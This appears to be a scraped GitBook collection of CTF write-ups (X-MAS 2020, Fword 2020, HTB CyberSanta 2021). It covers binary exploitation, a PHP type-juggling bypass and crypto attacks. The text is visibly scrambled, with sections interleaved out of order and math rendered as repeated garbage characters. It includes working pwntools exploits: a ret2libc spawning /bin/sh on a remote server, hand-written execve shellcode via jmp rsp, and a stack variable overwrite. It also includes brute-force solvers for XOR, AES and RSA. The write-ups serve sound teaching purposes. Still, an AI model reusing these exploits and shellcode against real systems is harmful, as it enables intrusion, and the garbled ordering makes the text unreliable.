arrow-left

All pages
gitbookPowered by GitBook
1 of 18

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Molotov

A ret2libc with a given leak

hashtag
‌Overview

Running the binary prints and hex value and prompts for input:

We can definitely cause it to segfault:

So let's work out what this value is and how we can use it.‌

hashtag
Decompilation

‌

We chuck the binary into GHidra and get a simple disassembly. main calls vuln and does almost nothing else. vuln, however, has some interesting stuff:

‌

It prints the address of system! Awesome.‌

Let's run the binary on the remote serevr to leak the libc version.

‌

So now we essentially have a libc leak, we head over to .

Annoyingly, there are 4 possible libc versions, and we can only get it from trial and error. Aside from the libc version itself, the exploit is quite simple - subtract the offset of system from the leaked address to get libc base, then use that to get the location of /bin/sh.

The correct libc version is 2.30-0ubuntu2.1_i386.‌

hashtag
Exploitation

$ ./molotov
f7d9ef00
Input :
$ python3 -c 'print("A"*300)' | ./molotov
f7d61f00
Input : 
Segmentation fault

Reversing

Web

Not really my forte, but here we go, I can only get better.

X-MAS CTF 2020

I didn't manage to solve a huge number of these - I was quite busy, plus I suck - but I'll dump some writeups here for those I caught up on later.

find the libc versionarrow-up-right
There are 4 matches‌

PHP Master

Once we visit the URL, we are shown some code:

<?php

include('flag.php');

$p1 = $_GET['param1'];
$p2 = $_GET['param2'];

if(!isset($p1) || !isset($p2)) {
    highlight_file(__FILE__);
    die();
}

if(strpos($p1, 'e') === false && strpos($p2, 'e') === false  && strlen($p1) === strlen($p2) && $p1 !== $p2 && $p1[0] != '0' && $p1 == $p2) {
    die($flag);
}

?>

Clearly this is some type of Type Jugglingarrow-up-right exploit, but I'm not that familiar with it except for 0e md5 hashes and stuff. However, there are some restrictions here:

  • There can be no e character in either parameter

  • The two parameters must be the same length

  • They can't strictly equal each other (!==) but they must loosely equal each other (==)

PHP comparision is a known piece of junk, so we can find some weaknesses using .

Once set of possible parameters is 01 and 1, as they are both two characters long and - according to PHP's loose comparison - equal each other (thanks to for this solution after the CTF). It appears that objetcs are automatically converted to numbers for loose comparisions, as loose only compares values while strict also compares types. Therefore the example above would both equal 1 under loose comparison.

Another, more interesting set is 200 and 2E3 (thanks to ). Note that 2E3 is an exponential, equivalent to 2 * 10^2. Once both are converted to integers, they pass the check.

Naughty

hashtag
Overview

We receive a file called chall. NX is disabled, which is helpful. We inject shellcode, and execute our own shellcode.

hashtag

XO

Messing with the XOR

hashtag
Overview

Let's try running the file:

Perhaps it wants a flag.txt file? Let's create one with the words FwordCTF{flag_flaggety_flag}:

This isn't quite counting the number of letters we enter. Let's see if the disassembly can shed any light on it.

int vuln(void){
    char buffer [24];
    
    printf("%x\n",system);
    puts("Input : ");
    
    gets(buffer);
    
    return 0;
}
$ nc 54.210.217.206 1240
f7d3c8b0
Input :
from pwn import *

elf = context.binary = ELF('./molotov')

if args.REMOTE:
    libc = ELF('./libc-remote.so')
    p = remote('54.210.217.206', 1240)
else:
    libc = elf.libc
    p = process()

addr = int(p.recvline(), 16)
p.clean()

libc.address = addr - libc.sym['system']

rop = ROP(libc)
rop.raw('A' * 32)
rop.system(next(libc.search(b'/bin/sh\x00')))

p.sendline(rop.chain())
p.interactive()
PayloadsAllTheThingsarrow-up-right
nrabulinski arrow-up-right
03sunfarrow-up-right

Pwn

Crypto

HTB CyberSanta 2021

Decompilation

main() is a fairly simple binary:

The buffer is 48 bytes long. After the buffer there is 16-bit integer check, which acts as a canary. Then there are 8 bytes for the stored RBP. The total input it 71, meaning after the stored RBP we have 13 bytes of overflow, including the RIP. No ROP is possible.

Note that the value -6913 is actually 0xe4ff.

This was rather misleading as they gave you the LIBC.

hashtag
Exploitation

Firstly:

Now we need some shellcode. pwntools' shellcraft.sh() is 2 bytes too long, so we'll have to make it manually.

The general payload is as follows:

  • /bin/sh\x00 so we have it in a known location (relative to RSP)

  • Shellcode

  • Padding

  • 0xe4ff to overwrite the pseudo-canary

  • Padding

  • jmp rsp

Now we need to decide what shellcode we want to run. Well, since RSP points at the stack, we know that it will always be a static offset off our buffer. If we calculate it, we can just do

And execute the other half of our code! And at this point RSP will be exactly 8 bytes off /bin/sh\x00, so we can use it to populate RDI as well!

X-MAS{sant4_w1ll_f0rg1ve_y0u_th1s_y3ar}

use a jmp rsp gadgetarrow-up-right
hashtag
Disassembly

First thing we notice is that every libc function is built into the binary due to the stripped names. We can confirm this with rabin2:

hashtag
Cleaning Up

Many of the functions can be handled using the return address and the general context. Some of the decompilation - especially the references to strings - may not have loaded in yet; make sure GHidra finishes analysing. We don't even need the exact C names, as long as we get the general gist it's all fine.

The python equivalent of this is roughly

In short, it's an XOR function.

hashtag
Working out the Flaw

To calculate the length of the string it uses

The key here is strlen stops at a null byte. If you input a character with the same value as the flag character in that position, it will XOR to become \x00.

hashtag
Using the Flaw

We can test every possible character. If the returned value is one less than the length of the string, the last character is correct as it XORed to create a null byte.

To test different offsets we can pad using a value definitely not in the flag, such as #.

hashtag
Exploit

hashtag
Local

Now we can just switch out the process type on the remote server.

hashtag
Remote

Flag: NuL1_Byt35?15_IT_the_END?Why_i_c4nT_h4ndl3_That!

int main(int a1, char **a2, char **a3)
{
  char input[46]; // [rsp+0h] [rbp-30h] BYREF
  __int16 check; // [rsp+2Eh] [rbp-2h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  
  check = -6913;
  puts("Tell Santa what you want for XMAS");
  fgets(input, 71, stdin);
  puts("Nice. Hope you haven't been naughty");
  if ( check != -6913 )
  {
    puts("Oh no....no gifts for you this year :((");
    exit(0);
  }
  return 0LL;
}
from pwn import *

elf = context.binary = ELF('./chall', checksec=False)

if args.REMOTE:
    p = remote('challs.xmas.htsp.ro', 2000)
else:
    p = process()

jump_rsp = 0x40067f
sub rsp, x
jmp rsp
exploit = b'/bin/sh\x00'
exploit += asm('''
    xor rsi, rsi
    xor rdx, rdx
    lea rdi, [rsp-8]
    mov rax, 0x3b
    syscall
''')    # rsi/rdx need to be null, rdi points at /bin/sh, rax execve syscall number
exploit += b'A' * (46 - len(exploit))    # padding
exploit += p16(0xe4ff)
exploit += b'B' * 8
exploit += p64(jump_rsp)
exploit += asm('''
    sub rsp, 0x38
    jmp rsp
''')    # RSP point to beginning of shellcode, use this to point RIP there
 
p.sendline(exploit)
p.interactive()
$ ./task 
Error while opening the file. Contact an admin!
: No such file or directory
$ ./task 

input : 
test
4
input : 
pao
2
$ rabin2 -I task
[...]
static  true
[...]
void main(void)
{
  int min_length;
  void *flag;
  void *input;
  long lVar1;
  long **xored;
  ulong flag_length;
  ulong input_length;
  long **in_RCX;
  long **extraout_RDX;
  long **output;
  ulong in_R8;
  long *in_R9;
  int i;
  
  FUN_00400b7d();
  
  flag = malloc(0x32);
  input = malloc(0x32);
  lVar1 = read("flag.txt",&DAT_004ac8e8);
  if (lVar1 == 0) {
    puts("Error while opening the file. Contact an admin!\n");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  output = (long **)&DAT_004ac929;
  FUN_0040fd20(lVar1,&DAT_004ac929,flag);
  do {
    xored = (long **)malloc(0x32);
    FUN_00410cf0("input : ",output);
    scanf("%s");
    flag_length = strlen(flag);
    input_length = strlen(input);
    if (input_length < flag_length) {
      min_length = strlen(input);
    }
    else {
      min_length = strlen(flag);
    }
    i = 0;
    while (i < min_length) {
      in_RCX = (long **)(ulong)*(byte *)((long)input + (long)i);
      *(byte *)((long)xored + (long)i) =
           *(byte *)((long)flag + (long)i) ^ *(byte *)((long)input + (long)i);
      i = i + 1;
    }
    output = (long **)strlen(xored);
    FUN_0040f840(&DAT_004ac935);
    FUN_00420ab0(xored,output,extraout_RDX,in_RCX,in_R8,in_R9);
  } while( true );
}
value = ''

for x, y in zip(flag, input):
  value += chr(ord(x) ^ ord(y))

print(len(garbage))
output = (long **)strlen(xored);
from pwn import *
from string import printable

p = process('./task')

known = ''

while True:
    for char in printable:
        p.recvline()
        p.sendline('#' * len(known) + char)     # '#' won't be in it, so any null byte is definitely the char we test

        resp = int(p.recvline().strip())

        if resp == len(known):                  # if it's the same length as the known, then the char we sent XORed to a null byte
            log.info(f'Character is {char}')
            known += char                       # append it to what we know

            if char == '}':                     # if '}', probably the end of the flag - print and exit
                log.success(f'Flag: {known}')
                exit(0)
            
            break                               # we know the char, we can exit the for loop and run it again with a different known length
from pwn import *
from string import printable

if args.REMOTE:
    p = remote('xo.fword.wtf', 5554)
else:
    p = process('./task')

known = ''

while True:
    for char in printable:
        p.recvline()
        p.sendline('#' * len(known) + char)     # '#' won't be in it, so any null byte are definitely the char we test

        resp = int(p.recvline().strip())

        if resp == len(known):                  # if it's the same length as the known, then the char we sent XORed to a null byte
            log.info(f'Character is {char}')
            known += char                       # append it to what we know

            if char == '}':                     # if '}', probably the end of the flag - print and exit
                log.success(f'Flag: {known}')
                exit(0)
            
            break                               # we know the char, we can exit the for loop and run it again with a different known length

Common Mistake

Common Mod, DIfferent e

In this challenge, we are given two sets of , and .

The plaintext encrypted to give is the same, and we can observe that the choice of is also the same, meaning the only difference is in the choice of . Here we can use some cool maffs with and to retrieve the original plaintext .

Firstly, if the greatest common divisor of and is , then there exists and such that

To calculate this, we can use the . But why is this helpful?

Well if we know that and and we know such that

Do I Know You?

If we disassemble, the solution is pretty clear.

gets() is used to take in input, then the contents of another local variable are compared to 0xdeadbeef. Basic buffer overflow then overwrite a local variable:

X-MAS{ah_yes__i_d0_rememb3r_you}

Xmas Spirit

hashtag
Contents

We get given challenge.py and encrypted.bin. Analysing challenge.py:

It calculates two random values, and . For every byte in the plaintext file, it then calculates

Meet Me Halfway

Meet-in-the-middle attack on AES

hashtag
Contents

We are given challenge.py, which does the following:

  • Creates two keys

Fword CTF 2020

https://ctftime.org/event/1066

circle-exclamation

I did not solve the vast majority of challenges I am writing up here, but instead I am doing it to consolidate my own understanding of it. I also hope the writeups you find here help you understand the challenge, and if they did then it's fulfilled it's purpose and whether or not I originally completed them is irrelevant :)

[...]
|           0x55c00f08685d      4889c7         mov rdi, rax
│           0x55c00f086860      b800000000     mov eax, 0
│           0x55c00f086865      e846feffff     call sym.imp.gets
│           0x55c00f08686a      488b55f0       mov rdx, qword [var_10h]
│           0x55c00f08686e      b8efbeadde     mov eax, 0xdeadbeef
│           0x55c00f086873      4839c2         cmp rdx, rax
│       ┌─< 0x55c00f086876      7522           jne 0x55c00f08689a
│       │   0x55c00f086878      488d3de90000.  lea rdi, str.X_MAS_Fake_flag...
[...]
from pwn import *

elf = context.binary = ELF('./chall')
p = remote('challs.xmas.htsp.ro', 2008)

payload = b'A' * 32
payload += p64(0xdeadbeef)

p.sendlineafter('you?\n', payload)
print(p.recvuntil('}'))
, we can then use this to calculate
like this:

In practise bbb is likely to be negative, and in modular arithmetic we use negative powers using the Modular Multiplicative Inversearrow-up-right. Luckily, Sage can do this for us by default, so we can do even less steps:

And we get the flag as HTB{c0mm0n_m0d_4774ck_15_4n07h3r_cl4ss1c}.

NNN
eee
ccc
ccc
NNN
eee
e1e_1e1​
e2e_2e2​
mmm
e1e_1e1​
e2e_2e2​
111
aaa
bbb
ae1+be2=1ae_1 + be_2 = 1ae1​+be2​=1
c1≡me1mod  Nc_1 \equiv m^{e_1} \mod Nc1​≡me1​modN
c2≡me2mod  Nc_2 \equiv m^{e_2} \mod Nc2​≡me2​modN
a,ba,ba,b
ae1+be2=1ae_1 + be_2 = 1ae1​+be2​=1
Extended Euclidean Algorithmarrow-up-right
mmm
c1a⋅c2b=(me1)a⋅(me2)b=mae1⋅mbe2=mae1+be2=m1=mc_1^a \cdot c_2^b = (m^{e_1})^a \cdot (m^{e_2})^b = m^{ae_1} \cdot m^{be_2} = m^{ae_1+be_2} = m^1 = mc1a​⋅c2b​=(me1​)a⋅(me2​)b=mae1​⋅mbe2​=mae1​+be2​=m1=m
And appends the result of that as the encrypted character in encrypted.bin.

hashtag
Analysis

The plaintext file appears to be letter.pdf, and using this we can work out the values of aaa and bbb because we know the first 4 bytes of every PDF file are %PDF. We can extract the first two bytes of encrypted.bin and compare to the expected two bytes:

Gives us

So we can form two equations here using this information:

We subtract (2) from (1) to get that

And we can multiply both sides by the modular multiplicative inverse of 43, i.e. 43−1mod  25643^{-1} \mod 25643−1mod256, which is 131131131, to get that

And then we can calculate bbb:

hashtag
Solution

So now we have the values for aaa and bbb, it's simply a matter of going byte-by-byte and reversing it. I created a simple Sage script to do this with me, and it took a bit of time to run but eventually got the flag.

And the resulting PDF has the flag HTB{4ff1n3_c1ph3r_15_51mpl3_m47h5} within.

aaa
bbb
kkk
ak+bmod  256ak + b \mod 256ak+bmod256
a⋅37+b≡13mod  256a⋅80+b≡112mod  256a \cdot 37 + b \equiv 13 \mod 256 \\ a \cdot 80 + b \equiv 112 \mod 256a⋅37+b≡13mod256a⋅80+b≡112mod256
43a≡99mod  25643a \equiv 99 \mod 25643a≡99mod256
a≡99⋅131≡169mod  256a \equiv 99 \cdot 131 \equiv 169 \mod 256a≡99⋅131≡169mod256
b≡13−169∗37≡160mod  256b \equiv 13 - 169 * 37 \equiv 160 \mod 256b≡13−169∗37≡160mod256
{'n': '0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef', 'e': '0x10001', 'ct': '0x55cfe232610aa54dffcfb346117f0a38c77a33a2c67addf7a0368c93ec5c3e1baec9d3fe35a123960edc2cbdc238f332507b044d5dee1110f49311efc55a2efd3cf041bfb27130c2266e8dc61e5b99f275665823f584bc6139be4c153cdcf153bf4247fb3f57283a53e8733f982d790a74e99a5b10429012bc865296f0d4f408f65ee02cf41879543460ffc79e84615cc2515ce9ba20fe5992b427e0bbec6681911a9e6c6bbc3ca36c9eb8923ef333fb7e02e82c7bfb65b80710d78372a55432a1442d75cad5b562209bed4f85245f0157a09ce10718bbcef2b294dffb3f00a5a804ed7ba4fb680eea86e366e4f0b0a6d804e61a3b9d57afb92ecb147a769874'}
{'n': '0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef', 'e': '0x23', 'ct': '0x79834ce329453d3c4af06789e9dd654e43c16a85d8ba0dfa443aefe1ab4912a12a43b44f58f0b617662a459915e0c92a2429868a6b1d7aaaba500254c7eceba0a2df7144863f1889fab44122c9f355b74e3f357d17f0e693f261c0b9cefd07ca3d1b36563a8a8c985e211f9954ce07d4f75db40ce96feb6c91211a9ff9c0a21cad6c5090acf48bfd88042ad3c243850ad3afd6c33dd343c793c0fa2f98b4eabea399409c1966013a884368fc92310ebcb3be81d3702b936e7e883eeb94c2ebb0f9e5e6d3978c1f1f9c5a10e23a9d3252daac87f9bb748c961d3d361cc7dacb9da38ab8f2a1595d7a2eba5dce5abee659ad91a15b553d6e32d8118d1123859208'}
from Crypto.Util.number import long_to_bytes

n = 0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef
e1 = 0x10001
e2 = 0x23
c1 = Mod(0x55cfe232610aa54dffcfb346117f0a38c77a33a2c67addf7a0368c93ec5c3e1baec9d3fe35a123960edc2cbdc238f332507b044d5dee1110f49311efc55a2efd3cf041bfb27130c2266e8dc61e5b99f275665823f584bc6139be4c153cdcf153bf4247fb3f57283a53e8733f982d790a74e99a5b10429012bc865296f0d4f408f65ee02cf41879543460ffc79e84615cc2515ce9ba20fe5992b427e0bbec6681911a9e6c6bbc3ca36c9eb8923ef333fb7e02e82c7bfb65b80710d78372a55432a1442d75cad5b562209bed4f85245f0157a09ce10718bbcef2b294dffb3f00a5a804ed7ba4fb680eea86e366e4f0b0a6d804e61a3b9d57afb92ecb147a769874, n)
c2 = Mod(0x79834ce329453d3c4af06789e9dd654e43c16a85d8ba0dfa443aefe1ab4912a12a43b44f58f0b617662a459915e0c92a2429868a6b1d7aaaba500254c7eceba0a2df7144863f1889fab44122c9f355b74e3f357d17f0e693f261c0b9cefd07ca3d1b36563a8a8c985e211f9954ce07d4f75db40ce96feb6c91211a9ff9c0a21cad6c5090acf48bfd88042ad3c243850ad3afd6c33dd343c793c0fa2f98b4eabea399409c1966013a884368fc92310ebcb3be81d3702b936e7e883eeb94c2ebb0f9e5e6d3978c1f1f9c5a10e23a9d3252daac87f9bb748c961d3d361cc7dacb9da38ab8f2a1595d7a2eba5dce5abee659ad91a15b553d6e32d8118d1123859208, n)

d, a, b = xgcd(e1, e2)        # calculate a and b

m = c1^a * c2^b
print(long_to_bytes(m))
import random
from math import gcd

def encrypt(dt):
	mod = 256
	while True:
		a = random.randint(1, mod)
		if gcd(a, mod) == 1:
			break
	b = random.randint(1, mod)

	res = b''
	for byte in dt:
		enc = (a * byte + b) % mod
		res += bytes([enc])
	return res


dt = open('letter.pdf', 'rb').read()

res = encrypt(dt)

f = open('encrypted.bin', 'wb')
f.write(res)
f.close()
with open('encrypted.bin', 'rb') as f:
    res = f.read()

print(res[0])
print(res[1])
print(ord('%'))
print(ord('P'))
13
112
37
80
with open('encrypted.bin', 'rb') as f:
    res = f.read()


final = b''


R = IntegerModRing(256)

for char in res:
    b = bytes([ (R(char) - R(160)) / R(169) ])
    print(b.decode('latin-1'), end='')
    final += b

with open('answer.pdf', 'wb') as f:
    f.write(final)
  • Key1 is cyb3rXm45!@# + 4 random bytes from 0123456789abcdef

  • Key2 is 4 random bytes from 0123456789abcdef + cyb3rXm45!@#

  • Encrypts the flag with Key1 using AES-ECB

  • Encrypts the encrypted flag with Key2 using AES-ECB

  • We can use a meet-in-the-middle attack to retreive both keys. The logic here is simple. Firstly, there are 16 possible characters for each of the 4 random bytes, which is easily bruteforceable (16416^4164).

    We can also encrypt a given input and get the result - I choose to send 12345678 as the hex-encoded plaintext and receive . For these keys, the encrypted flag is given as:

    hashtag
    The Attack

    Now we have a known plaintext and ciphertext, we can use both one after the other and bruteforce possible keys. Note that the encryption looks like this:

    The Encryption Method

    We do not know what the intermediate value x is, but we can use brute force to calculate it by

    • Looping through all possibilities for key1 and saving the encrypted version of 12345678

    • Looping through all possibilities for key2 and saving the decryption of 449e2eb...

    • Finding the intersection between the encryption with key1 and the decryption with key2

    Once we find this intersection, we can use that to work back and calculate key1 and key2, which we can then utilise to decrypt the flag.

    hashtag
    Solve Script

    And we get the flag as HTB{m337_m3_1n_7h3_m1ddl3_0f_3ncryp710n}!

    Missing Reindeer

    Cube Root Attack

    hashtag
    Contents

    In this challenge, we get a message.eml file containing an email:

    Applications such as Outlook block downloading the file due to it's "malicious nature", but we can open the .eml file in VS Code easily and extract two things:

    Firstly, there is a secret.enc

    43badc9cfb6198e97e5c0085eba941043982169877c2ec51995b5527d32244ebf3af4453e73408786a9eb39cd7fbb731afd940617e7ad1484ac017a7c0c3798cdb4a96ed96e816cf2a09fd4b39715064d0bba8bbf37e5d713f0af6a850985644
    from itertools import permutations
    
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
    
    
    key_start = b'cyb3rXm45!@#'
    alphabet = b'0123456789abcdef'
    
    enc_flag = bytes.fromhex('43badc9cfb6198e97e5c0085eba941043982169877c2ec51995b5527d32244ebf3af4453e73408786a9eb39cd7fbb731afd940617e7ad1484ac017a7c0c3798cdb4a96ed96e816cf2a09fd4b39715064d0bba8bbf37e5d713f0af6a850985644')
    
    known_text = pad(bytes.fromhex("12345678"), 16)
    known_ciphertext = bytes.fromhex('449e2eb3a7f793184ef41a8042739307')
    
    # brute all encryptions
    encryption_table = {}           # key : value -> encryption result : key
    
    for key in permutations(alphabet, 4):
        key = key_start + bytes(key)
        cipher = AES.new(key, AES.MODE_ECB)
        encrypted_custom = cipher.encrypt(known_text)
        encryption_table[encrypted_custom] = key
    
    
    # brute all decryptions
    decryption_table = {}           # key : value -> decryption result : key
    
    for key in permutations(alphabet, 4):
        key = bytes(key) + key_start
        cipher = AES.new(key, AES.MODE_ECB)
        decrypted_custom = cipher.decrypt(known_ciphertext)
        decryption_table[decrypted_custom] = key
    
    
    # find the intersection between the keys of decryption_table and encryption_table
    # if there is an intersection, we can cross-reference the AES key we used
    encryption_table_set = set(encryption_table.keys())
    decryption_table_set = set(decryption_table.keys())
    
    intersection = encryption_table_set.intersection(decryption_table_set).pop()
    encryption_key = encryption_table[intersection]     # set the encryption key now we know which it is
    decryption_key = decryption_table[intersection]     # set the decryption key now we know which it is
    
    # now decrypt flag_enc twice
    cipher1 = AES.new(encryption_key, AES.MODE_ECB)
    cipher2 = AES.new(decryption_key, AES.MODE_ECB)
    
    flag = cipher2.decrypt(enc_flag)
    flag = cipher1.decrypt(flag).decode().strip()
    
    print(flag)

    Binary Exploitation

    file with base64-encoded ciphertext:

    Secondly, there is a pubkey.der file containing an RSA public key:

    hashtag
    Analysing the Public Key

    We can easily import the public key in Python and read the values for NNN and eee using the Pycryptodome:

    We can throw NNN into FactorDB to see if the factors are known, but they are not. The more notable observation is that e=3e=3e=3, which allows us to perform a cube root attackarrow-up-right on the ciphertext.

    The logic here is simple: because the message mmm is quite short and the public modulus NNN is quite large, a small value of eee such as 333 may make it such that me<Nm^e < Nme<N. This makes the modulus ineffective as me=memod  Nm^e = m^e \mod Nme=memodN and we can simply take the eeeth root of the ciphertext to recover the plaintext.

    hashtag
    Recovering c

    We'll use the gmpy2 iroot() function to calculate the cube root:

    And bingo bango, we get the flag as HTB{w34k_3xp0n3n7_ffc896}.

    Hello Mr Jingles,
    
    We got the reindeer as you requested. There is a problem though. Its nose is so red and bright and makes it very hard to hide him anywhere near north pole. We have moved to a secret location far away. I have encrypted this information with your public key in case you know who is watching.
    Ci95oTkIL85VWrJLVhns1O2vyBeCd0weKp9o3dSY7hQl7CyiIB/D3HaXQ619k0+4FxkVEksPL6j3wLp8HMJAPxeA321RZexR9qwswQv2S6xQ3QFJi6sgvxkN0YnXtLKRYHQ3te1Nzo53gDnbvuR6zWV8fdlOcBoHtKXlVlsqODku2GvkTQ/06x8zOAWgQCKj78V2mkPiSSXf2/qfDp+FEalbOJlILsZMe3NdgjvohpJHN3O5hLfBPdod2v6iSeNxl7eVcpNtwjkhjzUx35SScJDzKuvAv+6DupMrVSLUfcWyvYUyd/l4v01w+8wvPH9l
    -----BEGIN PUBLIC KEY-----
    MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEA5iOXKISx9NcivdXuW+uE
    y4R2DC7Q/6/ZPNYDD7INeTCQO9FzHcdMlUojB1MD39cbiFzWbphb91ntF6mF9+fY
    N8hXvTGhR9dNomFJKFj6X8+4kjCHjvT//P+S/CkpiTJkVK+1G7erJT/v1bNXv4Om
    OfFTIEr8Vijz4CAixpSdwjyxnS/WObbVmHrDMqAd0jtDemd3u5Z/gOUi6UHl+XIW
    Cu1Vbbc5ORmAZCKuGn3JsZmW/beykUFHLWgD3/QqcT21esB4/KSNGmhhQj3joS7Z
    z6+4MeXWm5LXGWPQIyKMJhLqM0plLEYSH1BdG1pVEiTGn8gjnP4Qk95oCV9xUxWW
    ZwIBAw==
    -----END PUBLIC KEY-----
    from Crypto.PublicKey import RSA
    
    with open('pubkey.pem') as f:
        key = RSA.importKey(f.read())
    
    print(key.n)
    print(key.e)
    from Crypto.Util.number import bytes_to_long, long_to_bytes
    from base64 import b64decode
    from gmpy2 import iroot
    
    c = b64decode(b'Ci95oTkIL85VWrJLVhns1O2vyBeCd0weKp9o3dSY7hQl7CyiIB/D3HaXQ619k0+4FxkVEksPL6j3wLp8HMJAPxeA321RZexR9qwswQv2S6xQ3QFJi6sgvxkN0YnXtLKRYHQ3te1Nzo53gDnbvuR6zWV8fdlOcBoHtKXlVlsqODku2GvkTQ/06x8zOAWgQCKj78V2mkPiSSXf2/qfDp+FEalbOJlILsZMe3NdgjvohpJHN3O5hLfBPdod2v6iSeNxl7eVcpNtwjkhjzUx35SScJDzKuvAv+6DupMrVSLUfcWyvYUyd/l4v01w+8wvPH9l')
    c = bytes_to_long(c)
    
    m = iroot(c, 3)
    print(long_to_bytes(m[0]))

    CTFs